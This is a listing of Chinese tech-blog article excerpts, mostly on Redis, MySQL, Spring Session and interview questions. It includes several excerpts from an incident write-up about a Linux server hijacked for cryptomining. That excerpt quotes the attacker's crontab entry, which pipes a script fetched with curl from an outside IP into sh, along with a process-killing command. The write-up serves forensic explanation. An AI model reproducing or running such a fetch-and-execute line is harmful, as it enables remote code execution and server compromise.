• 分布式 Session 之 Spring Session 架构与设计
    作者 | 李增光杏仁后端工程师。「只有变秃,才能变强!」前言开始进行 Web 开发时,我们可能会遇到这样的情况,当服务器重启之后,之前的登录状态会失效需要重新登录。又或者你的应用程序部署了不止一台机器,用户在机器A上登陆之后,来到机器B又需要重新登陆,因为机器A的 Session 在机器B 是没有的。在解决这两个问题之前,我们先来重新了解下 HTTP 协议的相关知识。HTTP 协议HTTP 协议有个特点,是无状态的,意味着请求与请求是没有关系的。早期的 HTTP 协议只是用来简单地浏览网页,没有其他需求,因...
  • 公司Linux服务器被非法入侵,秒变“矿机”,挖挖挖...
    点击上方“占小狼的博客”,选择“设为星标“本文阅读时间大约10分钟。来源:http://t.cn/RnpJj2e早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!查找线索服...
  • 与亲生的Redis Cluster,来一次亲密接触
    笔者曾经维护过千个redis实例,这些实例采用的简单主从结构,集群方案主要是客户端jar包。刚开始,个人并不是太喜欢redis cluster,因为它的路由实在是太死板,运维复杂。为什么这么说,可以参考之前的一篇文章《现实中的路由规则,可能比你想象中复杂的多》。但官方在推这个东西,注定了它的应用越来越广泛,这在平常的交流中就能够发现。虽然有这样那样的缺点,但总抵挡不了权威推动的浪潮。随着redis cluster越来越稳定,是时候和redis cluster来一次灵魂交流了。简介redis cluster是...
  • 互联网架构的演变,看了好多这个讲的确实清楚!
    “从过去的 OA、CRM、ERP 等单机即可满足要求的系统到现代互联网时代各大公司的分布式、微服务平台,互联网架构正在经历着巨大的变革,技术也在不断的更新迭代。图片来自 Pexels这也意味着众多软件开发者们的压力和挑战正在不断的加大,这种新技术更新的速度甚至让我们望而却步。而我们需要做的恐怕不仅仅是学习那么简单了,更要从宏观的角度根据当前的技术形势及时做出更符合我们发展前景的决定。这篇文章作者会跟大家一起探究互联网架构的演变历程,并对每个历程中的相关技术及应用做出合理的解释。希望各位也能参考架构的这些发展...
  • redis实践及思考
    redis的性能瓶颈又在哪里?脑袋一拍,重构,上redis!为什么选择redis拍脑袋做技术方案肯定是不行的,得用数据和逻辑说服别人才可以。上面这个算法只是举个例子,想要更深入计算出redis所有数据结构的内存大小,可以参考这篇文章。笔者使用的是哈希结构,这个业务需求大概一年的数据量是200MB,从使用redis成本上考虑没有问题。redis操作读取应该是ns级别的,怎么会这么慢?于是我把代码改了一版,原来是90次I/O,现在通过redis pipeline操作,一次请求半个月,那么3个月就是6次I/O。redisgo编码pipeline规则如下图,*表示后面参数加命令的个数,$表示后面的字符长度,一条HGEALL命令实际占45字节。
  • 面试百度、阿里、腾讯,这134道Java面试题你会多少?
    78 、如何用基于 Java 配置的方式配置 Spring ?84 、请举例说明如何在 Spring 中注入一个 Java Collection ?85 、如何向 Spring Bean 中注入一个 Java.util.Properties86 、请解释 Spring Bean 的自动装配?93 、Spring 框架中有哪些不同类型的事件?100、Kafka 消息是采用 Pull 模式,还是 Push 模式?
  • 这几道 Redis 面试题都不懂,怎么拿 Offer?
    redis 作为缓存中间件的一个佼佼者,成为了面试必问项目。本文分享一下Redis几道常见的面试题:缓存雪崩1.1 什么是缓存雪崩?我们都知道Redis不可能把所有的数据都缓存起来,所以Redis需要对数据设置过期时间,并采用的是惰性删除+定期删除两种策略对过期键删除。这就是缓存雪崩:Redis挂掉了,请求全部走数据库。对于“Redis挂掉了,请求全部走数据库”这种情况,我们可以有以下的思路:事发前:实现Redis的高可用,尽量避免Redis挂掉这种情况发生。
  • 这几道Redis高频面试点,说不清楚,面试基本被pass
    redis 作为缓存中间件的一个佼佼者,成为了面试必问项目。本文分享一下Redis几道常见的面试题:缓存雪崩1.1 什么是缓存雪崩?我们都知道Redis不可能把所有的数据都缓存起来,所以Redis需要对数据设置过期时间,并采用的是惰性删除+定期删除两种策略对过期键删除。这就是缓存雪崩:Redis挂掉了,请求全部走数据库。对于“Redis挂掉了,请求全部走数据库”这种情况,我们可以有以下的思路:事发前:实现Redis的高可用,尽量避免Redis挂掉这种情况发生。
  • 什么?Redis 的 QPS 是 MySQL 的 100 倍?
    前言原来总听别人说Redis读写性能优越适合做缓存,而MySQL则不行,那么你有真正了解过他们的读写差距吗?运行命令如下,运行 set,get 1000000 次,每次发送 200 个请求到服务端,1s 后退出并显示数据$ cd src $ ./redis-benchmark -n 1000000 -t set,get -P 200 -q数据显示如下,结果为 SET 315258,GET 330797。SET: 315258.53 requests per secondGET: 330797.22 requests per second好的,到这里我们就知道了,Redis的大致数据为 50000 - 300000,那么我们赶紧看看 MySQL 呗?数据显示MySQL的QPS为4000左右浮动。
  • 架构秘笈:移花接木。使用mysql模拟redis
    有些互联网公司,直接使用redis作为后端数据库。当业务量暴增,就面临一个redis容量和价格的权衡问题。改业务代码是来不及了,只好用一些持久化存储 ,来模拟redis的一些数据结构。redis支持近十种数据类型,最常用的有5种。string、hash、zset、set、list等。其实,我们所需要开发的,就是一个redis代理proxy。解析出来的命令,将会被模拟,然后根据配置的路由,定位到相应的mysql中。Redis是文本协议redis是文本协议,协议名称叫做RESP。拿netty来说,就有codec-redis 模块供我们使用。设计专用的数据库表rstore_hash,其中,rkey和hkey是联合主键。redis正是通过分数来为集合中的成员进行从小到大的排序。
  • 一文了解 Redis 内存监控和内存消耗
    内存使用统计通过 info memory 命令可以获得 Redis 内存相关的指标。当 Redis 内存超出可以获得内存时,操作系统会进行 swap,将旧的页写入硬盘。Redis 使用 maxmemory 参数限制最大可用内存。对象内存对象内存是 Redis 内存占用最大的一块,存储着用户所有的数据。键对象都是字符串,在使用 Redis 时很容易忽略键对内存消耗的影响,应当避免使用过长的键。输入输出缓冲区在大流量场景中容易失控,造成 Redis 内存不稳定,需要重点监控。可以定期执行 client list 命令,监控每个客户端的输入输出缓冲区大小和其他信息。
  • 记一次 Linux 被入侵,服务器变 “矿机”~
    不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。对,计划任务:crontab -e*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh果然,线索找到了。作案动机上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/nullps x | awk '!
  • 万亿级日访问量下,Redis在微博的9年优化历程
    线上规模方面,微博有100T+存储,1000+台物理机,10000+Redis实例。微博还有一些存在性判断的行为,比如是否赞过、是否阅读过,这些全量的数据特别大,如果用Redis的话对内存成本花费特别大。从设计的角度,我们要考虑如何设计Redis更合理。
  • Redis如何轻松支撑万亿级日访问量?
    “ Redis 在微博内部分布在各个应用场景,比如像现在春晚必争的“红包飞”活动,还有像粉丝数、用户数、阅读数、转评赞、评论盖楼、广告推荐、负反馈、音乐榜单等等都有用到 Redis。图片来自 Pexels本人将分为如下三个方面分享:Redis 在微博的应用场景Redis 在微博的优化未来展望Redis 在微博的应用场景 业务&规模&挑战线上的业务有前面提到的信息流、广告、用户关系等等,还有现在大家可能比较感兴趣的热搜,用户一般会去看发生了什么事情,还有引爆阅读量的话题,以及现在兵家必争之地的视频,微博大
  • 记一次 Linux 服务器被入侵变“矿机”全过程
    (给Linux爱好者加星标,提升Linux技能)来自:看雪论坛,作者:Hefehttps://bbs.pediy.com/thread-225163.htm“周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不
  • 这次一定要教会你搭建Redis集群和MySQL主从同步(非Docker)
    前言一直都想自己动手搭建一个Redis集群和MySQL的主从同步,当然不是依靠Docker的一键部署,所以本文就算是一个教程类文章吧,但在动手搭建之前,会先聊聊理论的东西,以便于大家有一个集群和主从同步的概念,如果有同学不了解Redis和MySQL,可以看一下我之前的两篇文章。Redis集群的三种模式主从模式主从模式是最简单的一种Redis集群模式,首先其思想就是一台Redis服务器作为主服务器,一台或多台服务器作为从服务器。某台Slave宕机不影响其他Slave和Master的读写,重新启动后会将数据重新从Master同步过来。Slave收到RDB文件后丢弃所有旧数据,载入收到的RDB。
  • 我所经历的一次Dubbo服务雪崩,这是一个漫长的故事
    转自:Java艺术这周本来是要写一篇Dubbo源码分析的,被突发事件耽搁了,下周有时间再补上。这周,笔者经历了一次服务雪崩。服务雪崩,听到这个词就能想到问题的严重性。是的,整个项目,整条业务线都挂了,从该业务线延伸出来的下游业务线也跟着凉了。笔者是连续三天两夜的忙着处理问题,加起来睡眠时间不足5小时,今天才得以睡个好觉。但事故之后还有很多问题等着去处理。其实这一天的到来我是有意料到的,但我以为会是数据量上升导致,实际却是并发量先上升,而严重程度超出我的预料。问题出现那天,我们还在进行每周的技术分享会,结果运...
  • 当 Redis 发生高延迟时,到底发生了什么
    但是 Redis 也会发生延迟时,这是就需要我们对其产生原因有深刻的了解,以便于快速排查问题,解决 Redis的延迟问题一条命令执行过程在本文场景下,延迟 是指从客户端发送命令到客户端接收到命令返回值的时间间隔。上图是 Redis 客户端发送一条命令的执行过程示意图,绿色的是执行步骤,而蓝色的则是可能出现的导致高延迟的原因。但是 Redis 有自己独有的可能导致高延迟的问题:命令或者数据结构误用、持久化阻塞和内存交换。有关 Redis 事件处理机制的可以参考本篇文章。fork 操作发生在 RDB 和 AOF 重写时,Redis 主线程调用 fork 操作产生共享内存的子进程,由子进程完成对应的持久化工作。
  • 独家|前端高性能队列应用实践探秘
    导语bull可以让node快速实现异步调用、流量削峰、分布式定时任务,进一步打破前端在高并发、分布式方面的限制。本篇内容涵盖前端遇到的一些复杂的应用场景及实践经验,希望能给大家提供一些不一样的思路。所以,前端如果想使用队列,就必须挑选基于node开发的、更适合的轻量级框架。Bull 是目前功能最完善的框架,同时支持Jobs和Messages。通过这种设计,并发带来的压力会大大降低,当然这也有可能会造成队列的消息积压,需要用临时构建新的消费者的方式去快速处理消息,后面等流量降低再恢复正常处理。实践经验在实践中,还需要注意几个问题:及时清理job。
  • 阶段总结和送书活动
    点击上方"程序员历小冰",选择“置顶或者星标”   你的关注意义重大!好久没有总结了,是时候停下来回头看一下,总结一下成果并定下目标了。整理一下之前的系列文章,发现自己大致写了四个系列的文章,分别是 Redis 原理和应用分析系列、MySQL 探秘系列、Java 并发源码分析系列和 Linux 网络基础系列。相关文章链接都贴在文章末尾了,后续我会整理成pdf书籍,方便感兴趣的小伙伴学习和保存。下一阶段,我大概会学习三个领域的知识,然后总结成高质量的文章供大家阅读和学习。这三个领域分别是 Kafka 原理、J...
公众号